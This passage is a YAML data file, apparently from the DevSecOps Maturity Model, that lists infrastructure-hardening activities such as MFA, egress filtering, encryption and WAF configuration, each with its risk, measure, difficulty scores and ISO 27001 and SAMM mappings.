+ - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Development + and Source Control/ac8730a2-ccc0-465c-9550-d91edae9d5ee + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Versioning: + uuid: 066084c6-1135-4635-9cc5-9e75c7c5459f + risk: Deployment of untracked artifacts. + description: Use a version control system platform like Github, Gitlab, Bitbucket, + gittea,... to version your code. + measure: Version artifacts in order to identify deployed features and issues. + This includes application and infrastructure code, jenkins configuration, + container and virtual machine images definitions. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 3 + usefulness: 5 + level: 1 + dependsOn: + - Defined deployment process + implementation: [] + references: + samm2: + - O-EM-A-1 + - I-SB-A-2 + iso27001-2017: + - Not explicitly covered by ISO 27001 - too specific + - 12.1.1 + - 12.1.2 + - 14.2.2 + iso27001-2022: + - Not explicitly covered by ISO 27001 - too specific + - 5.37 + - 8.32 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Development + and Source Control/066084c6-1135-4635-9cc5-9e75c7c5459f + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Infrastructure Hardening: + Applications are running in virtualized environments: + uuid: 3a94d55e-fd82-4996-9eb3-20d23ff2a873 + risk: Through a vulnerability in one service on a server, the attacker gains + access to other services running on the same server. + measure: Applications are running in a dedicated and isolated virtualized environments. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 5 + usefulness: 3 + level: 2 + implementation: [] + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - Virtual environments are not explicitly covered by ISO 27001 - too specific + - 13.1.3 + iso27001-2022: + - Virtual environments are not explicitly covered by ISO 27001 - too specific + - 8.22 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/3a94d55e-fd82-4996-9eb3-20d23ff2a873 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Backup: + uuid: 5c61fd6b-8106-4c68-ac28-a8a42f1c67dc + risk: If errors are experienced during the deployment process you want to deploy + an old release. However, due to changes in the database this is often unfeasible. + measure: Performing automated periodical backups are used. Backup before deployment + can help facilitate deployments whilst testing the backup restore processes. + difficultyOfImplementation: + knowledge: 1 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + implementation: + - uuid: ba7348e5-1abf-4c7d-8fbc-49f99460930b + name: A complete backup of persisted data might be performed*. + tags: [] + - uuid: 9af7624e-0729-4eeb-b257-ebaf65f70355 + name: A Point in Time Recovery for databases should be implemented. + tags: [] + dependsOn: + - Defined deployment process + references: + samm2: + - TODO + iso27001-2017: + - 12.3 + - 14.2.6 + iso27001-2022: + - 8.13 + - 8.31 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/5c61fd6b-8106-4c68-ac28-a8a42f1c67dc + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Baseline Hardening of the environment: + uuid: 5992c38c-8597-4035-89db-d15820d81c3a + risk: Using default configurations for a cluster environment leads to potential + risks. + measure: Harden environments according to best practices. Level 1 and partially + level 2 from hardening practices like 'CIS Kubernetes Bench for Security' + should be considered. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 2 + usefulness: 4 + level: 2 + implementation: + - uuid: edaec98d-dac7-4dfd-8ab3-42c471d5b9ff + name: CIS Kubernetes Benchmark for Security + tags: [] + url: https://www.cisecurity.org/benchmark/kubernetes + - uuid: 4dd23c4a-5a7e-4917-82cf-d00e0f04482f + name: CIS Docker Benchmark for Security + tags: [] + url: https://www.cisecurity.org/benchmark/docker + - uuid: f4d7c796-8574-4a88-ab00-98d245a115ef + name: For example for Cont + tags: [] + description: 'For example for Containers: Deny running containers as root, + deny using advanced privileges, deny mounting of the hole filesystem, ...' + url: https://d3fend.mitre.org/technique/d3f:ExecutionIsolation/ + - uuid: 3b7df373-2ad9-456e-9abe-439cdc9d4d8b + name: Attack Matrix Cloud + tags: + - mitre + url: https://attack.mitre.org/matrices/enterprise/cloud/ + description: Attack matrix for cloud + - uuid: 59881520-4c69-4922-a44e-99044a77de2b + name: Attack Matrix Containers + tags: + - mitre + url: https://attack.mitre.org/matrices/enterprise/containers/ + description: Attack matrix for containers + - uuid: 9fbc47ad-82bc-46d1-bba9-66815ab79935 + name: Attack Matrix Kubernetes + tags: + - mitre + url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/ + description: Attack matrix for kubernetes + - uuid: b7a92886-aec9-4bf4-94c4-07cc191a97af + name: Defend the core kubernetes security at every layer + url: https://thenewstack.io/defend-the-core-kubernetes-security-at-every-layer/ + tags: + - documentation + - cluster + - kubernetes + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - system hardening is not explicitly covered by ISO 27001 - too specific + - 13.1.3 + iso27001-2022: + - ISO 27001:2022 mapping is missing + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/5992c38c-8597-4035-89db-d15820d81c3a + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Filter outgoing traffic: + uuid: 6df508ef-86fc-4c22-bd9f-646c3127ce7d + risk: A compromised infrastructure component might try to send out stolen data. + measure: Having a whitelist and explicitly allowing egress traffic provides + the ability to stop unauthorized data leakage. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 3 + usefulness: 2 + level: 3 + dependsOn: [] + implementation: + - uuid: 4a024319-4510-4a53-a8b6-8f35b6c01867 + name: Open Policy Agent + tags: [] + url: https://www.openpolicyagent.org/ + - uuid: e3c6fb92-3f7d-471f-9308-c62359f4f1b7 + name: firewalls + tags: [] + url: https://d3fend.mitre.org/dao/artifact/d3f:Firewall/ + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - Virtual environments are not explicitly covered by ISO 27001 - too specific + - 13.1.3 + iso27001-2022: + - Virtual environments are not explicitly covered by ISO 27001 - too specific + - 8.22 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/6df508ef-86fc-4c22-bd9f-646c3127ce7d + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Hardening of the Environment: + uuid: dcf9601b-b4f2-4e25-9143-e39af75f7c33 + risk: Using default configurations for a cluster environment leads to potential + risks. + measure: Harden environments according to best practices. Level 2 and partially + level 3 from hardening practices like 'CIS Kubernetes Bench for Security' + should be considered. + difficultyOfImplementation: + knowledge: 4 + time: 4 + resources: 2 + usefulness: 3 + level: 4 + implementation: + - uuid: edaec98d-dac7-4dfd-8ab3-42c471d5b9ff + name: CIS Kubernetes Benchmark for Security + tags: [] + url: https://www.cisecurity.org/benchmark/kubernetes + - uuid: 4dd23c4a-5a7e-4917-82cf-d00e0f04482f + name: CIS Docker Benchmark for Security + tags: [] + url: https://www.cisecurity.org/benchmark/docker + - uuid: f4d7c796-8574-4a88-ab00-98d245a115ef + name: For example for Cont + tags: [] + description: 'For example for Containers: Deny running containers as root, + deny using advanced privileges, deny mounting of the hole filesystem, ...' + url: https://d3fend.mitre.org/technique/d3f:ExecutionIsolation/ + - uuid: 3b7df373-2ad9-456e-9abe-439cdc9d4d8b + name: Attack Matrix Cloud + tags: + - mitre + url: https://attack.mitre.org/matrices/enterprise/cloud/ + description: Attack matrix for cloud + - uuid: 59881520-4c69-4922-a44e-99044a77de2b + name: Attack Matrix Containers + tags: + - mitre + url: https://attack.mitre.org/matrices/enterprise/containers/ + description: Attack matrix for containers + - uuid: 9fbc47ad-82bc-46d1-bba9-66815ab79935 + name: Attack Matrix Kubernetes + tags: + - mitre + url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/ + description: Attack matrix for kubernetes + - uuid: b7a92886-aec9-4bf4-94c4-07cc191a97af + name: Defend the core kubernetes security at every layer + url: https://thenewstack.io/defend-the-core-kubernetes-security-at-every-layer/ + tags: + - documentation + - cluster + - kubernetes + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 13.1.3 + iso27001-2022: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 8.22 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/dcf9601b-b4f2-4e25-9143-e39af75f7c33 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Immutable infrastructure: + uuid: 48e92bb1-fdba-40e8-b6c2-35de0d431833 + risk: The availability of IT systems might be disturbed due to components failures + measure: Redundancies in the IT systems + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 3 + level: 3 + dependsOn: + - Infrastructure as Code + implementation: + - uuid: b206481f-9c66-45e2-843c-37c5730580cd + name: Remove direct access to infrastructure + tags: [] + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - Not explicitly covered by ISO 27001 - too specific + - 17.2.1 + iso27001-2022: + - Not explicitly covered by ISO 27001 - too specific + - 8.14 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/48e92bb1-fdba-40e8-b6c2-35de0d431833 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Infrastructure as Code: + uuid: 8b994601-575e-4ea5-b228-accb18c8e514 + risk: No tracking of changes in systems might lead to errors in the configuration. + In additions, it might lead to unauthorized changes. An examples is jenkins. + measure: Systems are setup by code. A full environment can be provisioned. In + addition, software like Jenkins 2 can be setup and configured in in code too. + The code should be stored in a version control system. + difficultyOfImplementation: + knowledge: 3 + time: 5 + resources: 4 + usefulness: 4 + level: 3 + implementation: + - uuid: b0931397-2402-44f1-814b-63292ab4a339 + name: GitOps + tags: [] + url: https://www.redhat.com/en/topics/devops/what-is-gitops + - uuid: 73747d35-2185-4f22-94a0-723288fa283c + name: Ansible + tags: [] + url: https://github.com/ansible/ansible + - uuid: 691c443f-b6e2-498d-94dc-778d8d51cfce + name: Chef + tags: [] + url: https://github.com/chef/chef + - uuid: eb7f76a8-87e5-4394-af4c-c09487c85982 + name: Puppet + tags: [] + url: https://github.com/puppetlabs/puppet + - uuid: 321dcfe4-d2fc-4dd2-85bf-aac563958458 + name: Jenkinsfile + tags: [] + url: https://www.jenkins.io/doc/book/pipeline/jenkinsfile/ + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - Not explicitly covered by ISO 27001 - too specific + - 12.1.1 + - 12.1.2 + iso27001-2022: + - Not explicitly covered by ISO 27001 - too specific + - 5.37 + - 8.32 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/8b994601-575e-4ea5-b228-accb18c8e514 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Isolated networks for virtual environments: + uuid: 4ce24abd-8ba6-494c-828d-4d193e28e4a1 + risk: Virtual environments in default settings are able to access other virtual + environments on the network stack. By using virtual machines, it is often + possible to connect to other virtual machines. By using docker, one bridge + is used by default so that all containers on one host can communicate with + each other. + measure: The communication between virtual environments is controlled and regulated. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 3 + usefulness: 5 + level: 2 + dependsOn: [] + implementation: + - uuid: 9429d52c-203d-49ae-814f-1401210887cd + name: istio + tags: [] + url: https://istio.io/ + - uuid: fc0eda30-2bf7-466f-948e-e17584db9f30 + name: bridges + tags: [] + - uuid: e3c6fb92-3f7d-471f-9308-c62359f4f1b7 + name: firewalls + tags: [] + url: https://d3fend.mitre.org/dao/artifact/d3f:Firewall/ + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - Virtual environments are not explicitly covered by ISO 27001 - too specific + - 13.1.3 + iso27001-2022: + - Virtual environments are not explicitly covered by ISO 27001 - too specific + - 8.22 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/4ce24abd-8ba6-494c-828d-4d193e28e4a1 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Limitation of system events: + uuid: e5386abf-9154-4752-a1a8-c3a8900f732d + risk: System events (system calls) can lead to privilege escalation. + measure: System calls are limited. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 5 + level: 3 + dependsOn: + - Audit of system events + implementation: + - uuid: 0cc7e68b-f7d9-4e66-8065-47d076129ffd + name: seccomp + tags: [] + url: https://man7.org/linux/man-pages/man2/seccomp.2.html + - uuid: 73ab2e3d-11a7-459d-8b57-9337662bd1ff + name: strace + tags: [] + url: https://man7.org/linux/man-pages/man1/strace.1.html + - uuid: 32b64e6e-5187-45e3-b4f3-f5f9a9739012 + name: Falco + tags: + - falco + - systemcall + - monitoring + url: https://github.com/falcosecurity/falco + description: | + Falco makes it easy to consume kernel events, and enrich those events with information from Kubernetes and the rest of the cloud native stack. + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - System hardening is not explicitly covered by ISO 27001 - too specific + iso27001-2022: + - ISO 27001:2022 mapping is missing + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/e5386abf-9154-4752-a1a8-c3a8900f732d + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + MFA: + uuid: 598e9f13-1ac8-4a01-b85e-8fab93ee81de + risk: One factor authentication is more vulnerable to brute force attacks and + is considered less secure. + measure: Two ore more factor authentication for all accounts on all (important) + systems and applications + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 4 + level: 2 + dependsOn: + - MFA for admins + implementation: + - uuid: d5981117-9bc2-45ed-b4a4-383135dc13d8 + name: YubiKey - Smartcard + tags: [] + url: https://d3fend.mitre.org/technique/d3f:Multi-factorAuthentication/ + - uuid: 6151cfb3-c894-421e-83da-cac0b2bfaec8 + name: SMS + tags: [] + - uuid: f69f5d03-691f-4e14-8fbc-ad66e2e5a12d + name: TOTP + tags: [] + url: https://d3fend.mitre.org/technique/d3f:One-timePassword/ + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 9.2.4 + - 6.1.2 + - 14.2.1 + iso27001-2022: + - 5.17 + - 5.3 + - 8.25 + d3f: + - Multi-factorAuthentication + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/598e9f13-1ac8-4a01-b85e-8fab93ee81de + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + MFA for admins: + uuid: 8098e416-e1ed-4ae4-a561-83efbe76bf57 + risk: One factor authentication is more vulnerable to brute force attacks and + is considered less secure. + measure: Two ore more factor authentication for all privileged accounts on systems + and applications + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 2 + usefulness: 4 + level: 1 + implementation: + - uuid: d5981117-9bc2-45ed-b4a4-383135dc13d8 + name: YubiKey - Smartcard + tags: [] + url: https://d3fend.mitre.org/technique/d3f:Multi-factorAuthentication/ + - uuid: 6151cfb3-c894-421e-83da-cac0b2bfaec8 + name: SMS + tags: [] + - uuid: f69f5d03-691f-4e14-8fbc-ad66e2e5a12d + name: TOTP + tags: [] + url: https://d3fend.mitre.org/technique/d3f:One-timePassword/ + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 9.2.4 + - 6.1.2 + - 14.2.1 + iso27001-2022: + - 5.17 + - 5.3 + - 8.25 + d3f: + - Multi-factorAuthentication + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/8098e416-e1ed-4ae4-a561-83efbe76bf57 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Production near environments are used by developers: + uuid: e14de741-94b3-447c-8b07-eea947d82e61 + risk: In case an errors occurs in production, the developer need to be able + to create a production near environment on a local development environment. + measure: Usage of infrastructure as code helps to create a production near environment. + The developer needs to be trained in order to setup a local development environment. + In addition, it should be possible to create production like test data. Often + personal identifiable information is anonymized in order to comply with data + protection laws. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 3 + usefulness: 4 + level: 4 + dependsOn: + - Defined deployment process + - Infrastructure as Code + implementation: [] + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - 12.1.4 + - 17.2.1 + iso27001-2022: + - 8.31 + - 8.14 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/e14de741-94b3-447c-8b07-eea947d82e61 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Role based authentication and authorization: + uuid: 070bb14b-e04a-4f3d-896a-a08eba7a35f9 + risk: Everyone is able to get unauthorized access to information on systems + or to modify information unauthorized on systems. + measure: The usage of a (role based) access control helps to restrict system + access to authorized users. And enhancement is to use attribute based access + control. + difficultyOfImplementation: + knowledge: 2 + time: 3 + resources: 1 + usefulness: 3 + level: 3 + implementation: + - uuid: 04edc63e-d389-48dd-b365-552aaf4ea004 + name: Directory Service + tags: [] + url: https://d3fend.mitre.org/dao/artifact/d3f:DirectoryService/ + - uuid: cc55cba1-ea0a-466e-99c5-337c9da2b00e + name: Plugins + tags: [] + dependsOn: + - Defined deployment process + - Defined build process + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - 9.4.1 + iso27001-2022: + - 8.3 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/070bb14b-e04a-4f3d-896a-a08eba7a35f9 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Simple access control for systems: + uuid: 82e499d1-f463-4a4b-be90-68812a874af6 + risk: Attackers a gaining access to internal systems and application interfaces + measure: All internal systems are using simple authentication + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 3 + usefulness: 5 + level: 1 + dependsOn: + - Defined deployment process + implementation: + - uuid: 41fda224-2980-443c-bfd4-0a1d4b520cb9 + name: HTTP-Basic Authentication + tags: [] + url: https://d3fend.mitre.org/dao/artifact/d3f:WebAuthentication/ + - uuid: e506f60b-747b-44b1-8fe8-f67ccd8f290e + name: VPN + tags: [] + url: https://d3fend.mitre.org/dao/artifact/d3f:VPN/ + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 9.4.1 + iso27001-2022: + - 8.3 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/82e499d1-f463-4a4b-be90-68812a874af6 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Usage of a chaos technology: + uuid: f8e80f18-2503-4e3e-b3bc-7f67bb28defe + risk: Due to manual changes on a system, they are not replaceable anymore. In + case of a crash it might happen that a planned redundant system is unavailable. + In addition, it is hard to replay manual changes. + measure: A randomized periodically shutdown of systems makes sure, that nobody + will perform manual changes to a system. + difficultyOfImplementation: + knowledge: 3 + time: 5 + resources: 5 + usefulness: 3 + level: 4 + implementation: + - uuid: c117e79b-8223-4e55-9da5-efbf5d741c15 + name: Chaos Monkey + tags: + - chaos + - testing + url: https://github.com/Netflix/chaosmonkey + description: Chaos Monkey is a resiliency tool that helps applications tolerate + random instance failures. Chaos Monkey randomly terminates virtual machine + instances and containers that run inside of your production environment. + Exposing engineers to failures more frequently incentivizes them to build + resilient services. + references: + samm2: + - O-EM-A-3 + iso27001-2017: + - Not explicitly covered by ISO 27001 - too specific + - 17.1.3 + iso27001-2022: + - Not explicitly covered by ISO 27001 - too specific + - 5.29 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/f8e80f18-2503-4e3e-b3bc-7f67bb28defe + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Usage of an security account: + uuid: 746025a6-dbfb-4087-a000-e46acab64ee1 + risk: Having security auditing in the same account as infrastructure and applications + at the cloud provide might cause evil administrators (or threat actors taking + over an account of an administrator) to alter evidence like audit logs. + measure: Usage of a separate account dedicated for security activities. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 3 + usefulness: 4 + level: 2 + implementation: "" + references: + samm2: + - I-SD-B-2 + iso27001-2017: + - 10.1 + iso27001-2022: + - ISO 27001:2022 mapping is missing + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/746025a6-dbfb-4087-a000-e46acab64ee1 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Usage of edge encryption at transit: + uuid: ad23be9c-5661-4f1f-81a3-5a5dc7061629 + risk: Evil actors might be able to perform a man in the middle attack and sniff + confidential information (e.g. authentication factors like passwords). + measure: |- + By using encryption at the edge of traffic in transit, it is impossible + or at least harder to sniff credentials or information being outside of the organization. + + Using standard secure protocols like HTTPS is recommended. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 1 + implementation: "" + references: + samm2: + - I-SD-B-2 + iso27001-2017: + - 10.1 + iso27001-2022: + - 8.24 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/ad23be9c-5661-4f1f-81a3-5a5dc7061629 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Usage of encryption at rest: + uuid: 0ff45fb8-7eef-46ed-9b3a-84c955cd7060 + risk: Evil actors might be able to access data and read information, e.g. from + physical hard disks. + measure: By using encryption at rest, it is impossible or at least harder to + to read information. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + implementation: "" + references: + samm2: + - I-SD-B-2 + iso27001-2017: + - 10.1 + iso27001-2022: + - 8.24 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/0ff45fb8-7eef-46ed-9b3a-84c955cd7060 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Usage of internal encryption at transit: + uuid: ecb0184c-6bc9-45da-bbbb-a983797ffc93 + risk: Evil actors within the organization of traffic in transit might be able + to perform a man in the middle attack and sniff confidential information (e.g. + authentication factors like passwords) + measure: By using encryption internally, e.g. inside of a cluster, it is impossible + or at least harder to sniff credentials. + difficultyOfImplementation: + knowledge: 3 + time: 4 + resources: 3 + usefulness: 4 + level: 3 + implementation: "" + references: + samm2: + - I-SD-B-2 + iso27001-2017: + - 10.1 + iso27001-2022: + - 8.24 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/ecb0184c-6bc9-45da-bbbb-a983797ffc93 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Usage of security by default for components: + uuid: 11b3848e-e931-4146-a35d-35409ada24ee + risk: Components (images, libraries, applications) are not hardened. + measure: Hardening of components is important, specially for image on which + other teams base on. Hardening should be performed on the operation system + and on the services inside (e.g. Nginx or a Java-Application). + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 1 + usefulness: 3 + level: 3 + implementation: + - uuid: d7fb1f5a-05e3-49f7-ae67-00bfb8f8410c + name: 'For applications: Check default encoding' + tags: [] + - uuid: 7e744f11-976e-46b6-88d4-f39b2965dfaf + name: managing secrets + tags: [] + url: https://d3fend.mitre.org/technique/d3f:CredentialHardening/ + - uuid: 520517ef-2911-4efc-8e1b-dcc9389aca45 + name: crypto + tags: [] + - uuid: ba6bd46c-2069-4f4d-b26c-7334a7553339 + name: authentication + tags: [] + url: https://d3fend.mitre.org/dao/artifact/d3f:Authentication/ + dependsOn: + - Defined build process + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - not explicitly covered by ISO 27001 - too specific + iso27001-2022: + - ISO 27001:2022 mapping is missing + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/11b3848e-e931-4146-a35d-35409ada24ee + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Usage of test and production environments: + uuid: bfdacb52-1e3f-431d-ae72-d844a5e86415 + risk: Security tests are not running regularly because test environments are + missing + measure: A test and a production like environment is used + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 5 + usefulness: 4 + level: 2 + dependsOn: + - Defined deployment process + implementation: [] + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - Not explicitly covered by ISO 27001 - too specific + - 12.1.4 + - 17.2.1 + iso27001-2022: + - Not explicitly covered by ISO 27001 - too specific + - 8.31 + - 8.14 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/bfdacb52-1e3f-431d-ae72-d844a5e86415 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Virtual environments are limited: + uuid: 760f1056-b0ee-4f22-a35b-f65446f944ca + risk: Denial of service (internally by an attacker or unintentionally by a bug) + on one service effects other services + measure: All virtual environments are using resource limits on hard disks, memory + and CPU + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 3 + usefulness: 3 + level: 2 + dependsOn: + - Applications are running in virtualized environments + implementation: [] + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - Virtual environments are not explicitly covered by ISO 27001 - too specific + - 12.1.3 + - 13.1.3 + - 17.2.1 + iso27001-2022: + - Virtual environments are not explicitly covered by ISO 27001 - too specific + - 8.6 + - 8.22 + - 8.14 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/760f1056-b0ee-4f22-a35b-f65446f944ca + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + WAF Advanced: + uuid: f0e01814-3b88-4bd0-a3a9-f91db001d20b-advanced + risk: The presence of sophisticated threats necessitates a robust defense strategy + where application inputs are meticulously scrutinized for security breaches, + including advanced persistent threats and zero-day vulnerabilities. + measure: |- + An advanced WAF protection level includes rigorous input validation, rejecting any parameters not explicitly required, and custom rule sets that are dynamically updated in response to emerging threats. + The advanced WAF setup is designed to ensure all data is in the correct format and any superfluous input parameters are automatically rejected. It includes machine learning algorithms to detect anomalies, custom-developed rules for real-time traffic analysis, and seamless integration with existing security infrastructures to adapt to the ever-changing threat landscape. + description: | + This advanced configuration goes beyond typical WAF implementations by enforcing strict input format checks and parameter validation to prevent any unauthorized or malformed data from compromising the application. + + Sample Steps: + - Implement strict data type and format validation rules to ensure only correctly formatted data is processed. + - Establish a denylist for all parameters that are not explicitly required, blocking them by default. + - Develop and continuously refine custom rulesets based on the application's traffic patterns, user behavior, and known vulnerabilities. + - Integrate machine learning algorithms to enhance anomaly detection and automatic rule adjustment. + - Correlate and analyze WAF logs with other security systems like SIEM for comprehensive threat intelligence. + - Conduct regular red team exercises to test and validate the effectiveness of the WAF configurations against simulated advanced attack scenarios. + - Activate automated threat response mechanisms to immediately neutralize detected threats. + + Embracing an advanced WAF setup requires a proactive approach, with continuous improvement and updating of security measures to ensure all inputs are scrutinized and validated, thus maintaining a resilient security posture against sophisticated attacks. + + There are debates on how useful a WAF is for APIs. + difficultyOfImplementation: + knowledge: 5 + time: 5 + resources: 5 + usefulness: 4 + level: 5 + dependsOn: + - WAF medium + implementation: [] + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 13.1.3 + iso27001-2022: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 8.22 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/f0e01814-3b88-4bd0-a3a9-f91db001d20b-advanced + comments: ~ + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + WAF baseline: + uuid: f0e01814-3b88-4bd0-a3a9-f91db001d20b + risk: Vulnerable input, such as exploits, can infiltrate the application via + numerous entry points, posing a significant security threat. + measure: |- + Implementing a web application firewall (WAF) is a critical security control. At a baseline level, the objective is to finely balance the reduction of false positives, maintaining user experience, against a potential increase in the less noticeable false negatives. + Begin with the WAF in a monitoring state to understand the traffic and threats. Progressively enforce blocking actions based on intelligence gathered, ensuring minimal disruption to legitimate traffic. + description: | + A baseline WAF configuration provides essential defense against common vulnerabilities, acting as a first line of automated threat detection and response. + Steps: + - Configure WAF in alert mode to establish traffic patterns + - Analyze alerts and adjust sensitivity to optimize for fewer false positives + - Gradually switch to a proactive blocking stance as confidence in the accuracy of the rules increases + + It's crucial to monitor and update the WAF configuration to adapt to evolving threats and minimize the potential for both false positives and false negatives. + + There are debates on how useful a WAF is for APIs. + difficultyOfImplementation: + knowledge: 3 + time: 4 + resources: 3 + usefulness: 3 + level: 3 + dependsOn: + - Context-aware output encoding + implementation: [] + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 13.1.3 + iso27001-2022: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 8.22 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/f0e01814-3b88-4bd0-a3a9-f91db001d20b + comments: ~ + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + WAF medium: + uuid: f0e01814-3b88-4bd0-a3a9-f91db001d20b-medium + risk: The threat from malicious inputs remains high, with exploits seeking to + exploit any vulnerabilities present at the various points of entry to the + application. + measure: |- + A WAF deployed with a medium level of protection strengthens the security posture by striking a more advanced balance between the detection of genuine threats and the minimization of false alarms. + Maintain the WAF in alert mode initially to ensure a comprehensive understanding of potential threats. With a medium-level configuration, the WAF settings are refined for greater precision in threat detection, with a stronger emphasis on security without significantly impacting legitimate traffic. + description: "A medium-level WAF configuration builds upon the baseline to offer + a more 